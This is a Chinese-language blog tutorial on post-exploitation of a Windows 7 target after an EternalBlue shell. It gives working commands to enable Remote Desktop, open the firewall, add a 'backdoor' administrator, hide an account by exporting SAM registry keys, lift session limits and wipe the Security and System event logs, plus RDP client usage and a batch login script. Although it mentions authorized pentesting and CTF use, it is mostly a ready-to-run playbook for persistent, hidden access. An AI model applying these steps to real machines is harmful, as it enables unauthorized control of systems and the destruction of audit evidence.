三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Kali实战:利用永恒之蓝漏洞GetShell后,如何三步开启Win7靶机的远程桌面(附xfreerdp/rdesktop连接教程)

Kali实战:利用永恒之蓝漏洞GetShell后,如何三步开启Win7靶机的远程桌面(附xfreerdp/rdesktop连接教程)

Kali实战:从GetShell到图形化控制的远程桌面三步走指南

当你在渗透测试或CTF比赛中通过永恒之蓝漏洞成功获取目标Windows 7系统的Shell后,如何快速建立图形化控制通道?本文将拆解一个高效的三步操作流程,并深度对比Kali Linux中两种主流远程桌面工具的使用技巧。

1. 环境准备与权限确认

在开始操作前,必须确认当前Shell的权限级别。执行whoami /all命令查看当前用户权限,如果显示的不是NT AUTHORITY\SYSTEM,则需要先进行提权操作。常见的提权方法包括:

  • 使用getsystem命令(Meterpreter环境下)
  • 利用本地提权漏洞(如CVE-2018-8120)
  • 通过token窃取技术获取SYSTEM令牌

关键检查点

net user %username% # 查看当前用户权限 systeminfo # 获取系统补丁信息

提示:在真实环境中,建议先执行background将当前会话放入后台,避免因提权操作导致会话中断。

2. 开启远程桌面的双保险策略

Windows远程桌面服务依赖于3389端口,但实际配置需要两个关键步骤:

2.1 端口激活方案对比

方法命令适用场景成功率
WMIC方案wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1所有Windows版本
注册表方案REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f需要管理员权限极高

验证端口是否开放:

netstat -ano | findstr 3389 # Windows验证 nmap -p 3389 目标IP # Kali验证

2.2 防火墙规则处理

即使开启了3389端口,Windows防火墙可能仍然会阻止连接。需要添加防火墙规则:

netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389

3. 用户创建与权限配置

3.1 隐蔽账户创建技巧

标准账户创建方式:

net user backdoor P@ssw0rd! /add net localgroup administrators backdoor /add

进阶技巧- 创建隐藏账户:

  1. 先创建普通账户:net user system$ P@ssw0rd! /add
  2. 导出注册表键值:reg export HKLM\SAM\SAM\Domains\Account\Users\Names 用户名.reg
  3. 删除账户:net user system$ /del
  4. 需要时重新导入注册表恢复账户

3.2 会话限制解除

避免多用户登录冲突:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

4. 远程连接工具深度对比

Kali Linux自带两种主流RDP客户端工具,各有优劣:

4.1 xfreerdp 专业版方案

基础连接命令

xfreerdp /u:backdoor /p:'P@ssw0rd!' /v:192.168.1.100 /size:1920x1080 +fonts /dynamic-resolution

高级参数说明

  • /cert:ignore忽略证书警告
  • /sec:tls强制使用TLS加密
  • /drive:shared,/path/to/folder共享本地文件夹
  • /clipboard启用剪贴板共享

4.2 rdesktop 轻量级方案

优化连接命令

rdesktop -u backdoor -p 'P@ssw0rd!' -g 90% -r clipboard:PRIMARYCLIPBOARD -r disk:share=/tmp 192.168.1.100

功能对比表

特性xfreerdprdesktop
多显示器支持×
音频重定向×
文件传输
剪贴板共享
GPU加速×
内存占用较高较低

5. 实战中的问题排查

5.1 常见连接失败原因

  1. 端口未开放:使用nc -zv 目标IP 3389测试端口
  2. 认证失败:检查用户名是否包含域名(如.\backdoor
  3. 网络隔离:尝试端口转发netsh interface portproxy add v4tov4 listenport=3389 connectport=3389 connectaddress=目标IP
  4. NLA限制:添加/sec:nla参数或修改目标组策略

5.2 日志清理技巧

操作完成后建议清理安全日志:

wevtutil cl Security wevtutil cl System

6. 安全增强建议

在合法授权测试中,建议采取以下措施降低风险:

  1. 使用随机生成的复杂密码
  2. 操作完成后立即关闭3389端口
  3. 删除测试创建的临时账户
  4. 使用VPN隧道替代直接暴露RDP
  5. 限制连接IP范围

对于CTF环境,可以创建专用比赛账户:

net user ctfplayer CTF@2023! /add net localgroup "Remote Desktop Users" ctfplayer /add

7. 效率提升技巧

  1. 使用连接配置文件

    # 保存为default.rdp xfreerdp /u:backdoor /v:192.168.1.100 /load-balance-info:tsv://MS Terminal Services Plugin.1.CTF
  2. 批量测试脚本

    import subprocess targets = ['192.168.1.100', '192.168.1.101'] for ip in targets: try: subprocess.run(f"xfreerdp /v:{ip} /u:backdoor /p:P@ssw0rd! /cert:ignore", shell=True, check=True) except: print(f"Connection to {ip} failed")
  3. 分辨率自适应

    xfreerdp /v:target /u:user /p:pass /dynamic-resolution +glyph-cache +compression

在实际渗透测试中,图形化操作虽然方便,但会留下大量日志痕迹。建议仅在必要时使用远程桌面,平时尽量通过命令行完成操作。对于需要频繁交互的场景,可以考虑使用VNC等替代方案,或者搭建SSH隧道进行端口转发。

← 返回列表